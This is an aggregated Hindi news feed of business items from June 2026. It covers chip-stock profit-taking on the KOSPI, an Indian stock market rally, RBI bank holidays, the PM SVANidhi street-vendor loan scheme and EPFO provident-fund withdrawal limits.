सैमसंग इलेक्ट्रॉनिक्स और एसके हाइनिक्स जैसी कंपनियां AI सर्वर और डेटा सेंटर में इस्तेमाल होने वाली मेमोरी चिप्स की दुनिया की सबसे बड़ी सप्लायर हैं. पिछले कई महीनों से AI की मांग बढ़ने के कारण इन कंपनियों के शेयरों में तूफानी तेजी आई थी. इस वजह से कोस्‍पी में भी जोरदार बढ़त दर्ज की गई. लेकिन आज, 23 जून को अचानक निवेशकों ने मुनाफावसूली शुरू कर दी। 

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Market Open Today: जोरदार तेजी के साथ खुला बाजार, सेंसेक्स 407 अंक उछला; निवेशकों के चेहरे खिले https://pratyushaashakinayikiran.com/?p=228639 Mon, 22 Jun 2026 07:06:00 +0000 https://pratyushaashakinayikiran.com/?p=228639 मुंबई
 घरेलू शेयर बाजार के प्रमुख सूचकांकों—सेंसेक्स और निफ्टी—में सोमवार को शुरुआती कारोबार में शानदार रिकवरी देखने को मिली है. पिछले कारोबारी सत्र में आई भारी गिरावट के बाद आज बाजार में यह तेजी कच्चे तेल की कीमतों में आई कमी और सकारात्मक वैश्विक संकेतों के दम पर आई है. इसके अलावा, विदेशी संस्थागत निवेशकों (FIIs) की ओर से दोबारा शुरू हुई लिवाली और रिलायंस इंडस्ट्रीज व एचडीएफसी बैंक जैसी दिग्गज कंपनियों (ब्लू-चिप शेयरों) में खरीदारी से बाजार का सेंटिमेंट मजबूत हुआ है। 

सेंसेक्स और निफ्टी की मजबूत शुरुआत
शुरुआती कारोबार में 30 शेयरों वाला बीएसई (BSE) सेंसेक्स 407.12 अंक यानी 0.53% की छलांग लगाकर 77,210.02 अंक पर पहुंच गया. इसी तरह, 50 शेयरों वाला एनएसई (NSE) निफ्टी भी 114.75 अंक यानी 0.48% की बढ़त दर्ज करते हुए 24,129.95 के स्तर पर कारोबार कर रहा है. इससे पिछले सत्र (शुक्रवार) में सेंसेक्स 607.08 अंक गिरकर 76,802.90 पर और निफ्टी 154.90 अंक फिसलकर 24,013.10 पर बंद हुआ था। 

इन दिग्गज शेयरों में रही सबसे ज्यादा तेजी
सेंसेक्स की शीर्ष 30 कंपनियों में आज चौतरफा खरीदारी देखी जा रही है. प्रमुख बढ़त बनाने वाले शेयरों में रिलायंस इंडस्ट्रीज, टेक महिंद्रा, इंफोसिस, बजाज फाइनेंस, एचडीएफसी बैंक और एचसीएल टेक्नोलॉजीज शामिल हैं. इन हेवीवेट शेयरों में तेजी ने इंडेक्स को ऊपर खींचने में मुख्य भूमिका निभाई है. दूसरी ओर, कुछ चुनिंदा शेयरों में मुनाफावसूली भी देखने को मिली. गिरावट दर्ज करने वाले प्रमुख शेयरों में टाइटन, इंटरग्लोब एविएशन (इंडिगो), अडानी पोर्ट्स और आईटीसी (ITC) शामिल रहे। 

वैश्विक और भू-राजनीतिक मोर्चे से मिली बड़ी राहत
बाजार में आई इस तेजी के पीछे दो बड़े वैश्विक कारण काम कर रहे हैं. पहला, कच्चे तेल के अंतरराष्ट्रीय मानक 'ब्रेंट क्रूड' की कीमत में 1.50 फीसदी की बड़ी गिरावट आई है और यह घटकर 79.36 डॉलर प्रति बैरल पर आ गया है, जो भारत जैसे बड़े तेल आयातक देश के लिए सकारात्मक है. दूसरा, भू-राजनीतिक तनाव में कमी आई है. स्विट्जरलैंड के बुर्गेनस्टॉक रिजॉर्ट में दो दिनों की वार्ता के बाद अमेरिका और ईरान के बीच अगले 60 दिनों के भीतर एक अंतिम समझौते पर पहुंचने का रोडमैप तैयार हो गया है, जिसकी पुष्टि मध्यस्थ देश कतर और पाकिस्तान ने की है। 

मार्केट एक्सपर्ट की राय
एक्सिस डायरेक्ट के रिसर्च हेड राजेश पालवी ने बताया, "इस सप्ताह की शुरुआत में वैश्विक संकेत काफी सहायक हैं. हालांकि अमेरिकी बाजार शुक्रवार को 'जूनटींथ' की छुट्टी के कारण बंद थे, लेकिन गुरुवार को टेक और सेमीकंडक्टर शेयरों के दम पर नैस्डैक और एसएंडपी 500 में आई तेजी का सकारात्मक असर आज भारतीय बाजारों पर स्पष्ट रूप से दिख रहा है। 

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जून 2026 में बैंकिंग सेवाओं पर असर, 22 से 28 जून के बीच चार दिन बैंक रहेंगे बंद https://pratyushaashakinayikiran.com/?p=228593 Mon, 22 Jun 2026 04:55:00 +0000 https://pratyushaashakinayikiran.com/?p=228593 नई दिल्ली
अगर अगले सप्ताह बैक से जुड़े कामकाज करने के लिए ब्रांच जाने की योजना बना रहे हैं तो ये खबर आपके लिए है। दरअसल, आज 22 जून से 28 जून 2026 के बीच चार दिन बैंक बंद रहेंगे। बता दें कि रिजर्व बैंक ऑफ इंडिया (RBI) ने इस महीने राष्ट्रीय, क्षेत्रीय और धार्मिक छुट्टियों के कारण कुल 11 छुट्टियों की लिस्ट जारी की है। इसमें दूसरे शनिवार, चौथे शनिवार और सभी रविवार की छुट्टियां भी शामिल हैं। हालांकि, कुछ बैंक की छुट्टियां राज्यों या क्षेत्रों के हिसाब से अलग होती हैं लेकिन सरकारी राष्ट्रीय छुट्टियों के दिन देश भर में बैंक की शाखाएं बंद रहेंगी।

अगले हफ्ते कब-कब है छुट्टियां
RBI के हॉलीडे कैलेंडर के मुताबिक अगले सप्ताह 25, 26, 27 और 28 जून को बैंक बंद रहेंगे। 25 और 26 जून को मुहर्रम के कारण देश के कई इलाकों में बैंक बंद रहेंगे। 25 जून को विजयवाड़ा में बैंक बंद रहेंगे। वहीं, 26 जून को अगरतला, आइजोल, बेलापुर, बेंगलुरु, भोपाल, चेन्नई, हैदराबाद, जम्मू, कानपुर, कोलकाता, लखनऊ, मुंबई, नागपुर, नई दिल्ली, पटना, रायपुर, रांची और श्रीनगर में बैंक बंद रहेंगे। 27 जून को पूरे देश में बैंक बंद रहेंगे क्योंकि यह चौथा शनिवार है और 28 जून को रविवार है।

जून 2026 का छुट्टियों का कैलेंडर
15 जून को यंग मिजो एसोसिएशन (YMA) की स्थापना के उपलक्ष्य में आइजोल में बैंक बंद रहेंगे। राजा संक्रांति के कारण भुवनेश्वर में भी इस दिन बैंक बंद रहेंगे। वहीं, 25 जून को मुहर्रम के कारण विजयवाड़ा में बैंक बंद रहेंगे। इसके अलावा, 26 जून को मुहर्रम के कारण अगरतला, आइजोल, बेलापुर, बेंगलुरु, भोपाल, चेन्नई, हैदराबाद, जम्मू, कानपुर, कोलकाता, लखनऊ, मुंबई, नागपुर, नई दिल्ली, पटना, रायपुर, रांची और श्रीनगर में बैंक का कामकाज बंद रहेगा। वहीं, 29 जून को संत गुरु कबीर जयंती मनाने के लिए शिमला में बैंक बंद रहेंगे। इसी तरह, 30 जून को रेमना नी नामक क्षेत्रीय सार्वजनिक अवकाश के कारण आइजोल में बैंक बंद रहेंगे।

शनिवार और रविवार को छुट्टियां
रिजर्व बैंक के दिशानिर्देशों के अनुसार, सभी शेड्यूल्ड और नॉन-शेड्यूल्ड बैंक महीने के हर दूसरे और चौथे शनिवार और हर रविवार को अनिवार्य रूप से बंद रहते हैं। इसका मतलब है कि इन दिनों ग्राहक ब्रांच में मिलने वाली सेवाओं का लाभ नहीं उठा पाएंगे। बता दें कि इस महीने में कुल चार रविवार हैं, इसलिए बैंक 7, 14, 21 और 28 जून को बंद रहेंगे। रविवार के अलावा बैंक 13 जून (दूसरा शनिवार) और 27 जून (चौथा शनिवार) को भी बंद रहेंगे।

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PM SVANidhi योजना: स्ट्रीट वेंडर्स को बिना गारंटी 50 हजार तक लोन, लाखों लोग हुए लाभान्वित https://pratyushaashakinayikiran.com/?p=228583 Mon, 22 Jun 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=228583  नई दिल्ली
नरेंद्र मोदी सरकार की कई ऐसी योजनाएं हैं जिसके जरिए लोगों को आत्मनिर्भर बनाने की कवायद चल रही है। इसी के तहत सरकार ने एक योजना-प्रधानमंत्री स्ट्रीट वेंडर्स आत्मनिर्भर निधि (PM SVANidhi) को शुरू किया है। इस योजना के तहत लोगों को 50 हजार रुपये तक का लोन दिया जाता है। सरकार समय पर लोन चुकाने वाले लाभार्थियों को 7 प्रतिशत ब्याज सब्सिडी भी देती है। आइए योजना के बारे में विस्तार से जान लेते हैं।

योजना की खास बातें
योजना के तहत बिना किसी गारंटी के 15000 रुपये, 25000 रुपये और 50000 रुपये के लोन दिए जाते हैं। ये लोन तीन चरणों में दिए जाते हैं। पहले चरण के तहत भुगतान करने वाले लाभार्थी को ही दूसरे चरण में 25 हजार और तीसरे चरण में 50 हजार रुपये मिलते हैं। इस योजना के तहत सरकार लाभार्थियों को यूपीआई -लिंक्ड रुपे क्रेडिट कार्ड की भी सुविधा दे रही है। जो विक्रेता दूसरे चरण का लोन सफलतापूर्वक चुका देते हैं, वे 30000 रुपये तक की सीमा वाले यूपीआई -लिंक्ड रुपे क्रेडिट कार्ड के लिए पात्र होते हैं। इसके अलावा, स्ट्रीट वेंडरों को खुदरा/थोक डिजिटल ट्रांजैक्शन के लिए 1,600 रुपये तक के कैशबैक प्रोत्‍साहन दिए जाते हैं।

कोरोना के दौरान हुई थी शुरुआत
सरकार ने PM SVANidhi योजना की शुरुआत कोरोना के पहले चरण के दौरान की थी। शुरुआत में इसका उद्देश्य कोविड-19 महामारी से प्रभावित स्ट्रीट वेंडर्स की आजीविका को फिर से पटरी पर लाना था लेकिन बाद में इसकी लोकप्रियता को देखते हुए योजना का विस्तार किया गया। सरकार ने इसे आगे बढ़ाते हुए लाखों अतिरिक्त लाभार्थियों को शामिल करने का फैसला किया है।

मई 2026 में सरकार की ओर से जारी एक बयान के मुताबिक पिछले कुछ वर्षों में 75.5 लाख से अधिक लाभार्थियों ने 1.12 करोड़ से ज्यादा लोन लिए हैं, जिनकी कुल रकम 17,800 करोड़ रुपये से अधिक है। इस योजना के तहत 55 लाख से ज्यादा लाभार्थियों को डिजिटल माध्यम से जोड़ा गया है। एक साथ मिलकर, उन्होंने लगभग 8.96 लाख करोड़ रुपये के 841 करोड़ से अधिक डिजिटल ट्रांजैक्शन किए हैं। पीएम स्‍वनिधि के तहत लाभार्थियों को डिजिटल कैशबैक प्रोत्‍साहन और ब्याज सब्सिडी के जरिए लगभग 800 करोड़ रुपये भी मिले हैं।

6 साल हो चुके पूरे
बीते एक जून को ही प्रधानमंत्री स्ट्रीट वेंडर्स आत्मनिर्भर निधि योजना के 6 साल पूरे हुए हैं। इस मौके पर पीएम नरेंद्र मोदी ने कहा कि PM स्वनिधि ने बिना किसी गारंटी के लोन, वित्तीय समावेश और विकास के नए मौकों तक पहुंच सुनिश्चित करके अनगिनत स्ट्रीट वेंडर्स (सड़क किनारे सामान बेचने वालों) की जिंदगी बदल दी है। बता दें कि इस योजना को मार्च 2030 तक बढ़ा दिया गया है।
75% या 100%, इमरजेंसी में PF की रकम निकालने की क्या है नई लिमिट?

मुख्य बातें
    EPFO 3.0 के तहत PF बैलेंस को निकालने की लिमिट पर बहस छिड़ गई है
    बता दें कि EPFO 3.0 के तहत एम्प्लॉइज प्रोविडेंट फंड ऑर्गनाइजेशन (EPFO) कई बड़े बदलाव करने वाला है

75% या 100%, इमरजेंसी में PF की रकम निकालने की क्या है नई लिमिट?
EPFO news: किसी भी नौकरीपेशा शख्स के लिए उसके पीएफ की रकम काफी अहमियत रखती है। इस रकम का इस्तेमाल ज्यादातर लोग अपने किसी बड़े प्रोजेक्ट या इमरजेंसी में करते हैं। अब पीएफ की रकम को निकालने की लिमिट पर कई तरह की चर्चाएं चलने लगी हैं।

दरअसल, EPFO 3.0 के तहत एम्प्लॉइज प्रोविडेंट फंड ऑर्गनाइजेशन (EPFO) कई ऐसे सुधार लाने की योजना बना रहा है जो EPF सब्सक्राइबर्स के लिए फायदेमंद होगा। इसी कड़ी में पीएफ रकम निकाले जाने की लिमिट पर बहस छिड़ गई है। बता दें कि EPFO ने 15 अक्टूबर 2025 को जारी एक बयान में कहा था कि पात्र सदस्य अब अपने योग्य PF बैलेंस का 75% तक बिना किसी अतिरिक्त दस्तावेज के निकाल सकते हैं। इसके अलावा कुछ विशेष परिस्थितियों में 100% राशि निकालने की अनुमति भी जारी रहेगी। ऐसे में लोगों में भ्रम पैदा हो गया कि कहीं पूर्ण निकासी का विकल्प समाप्त तो नहीं हो गया।

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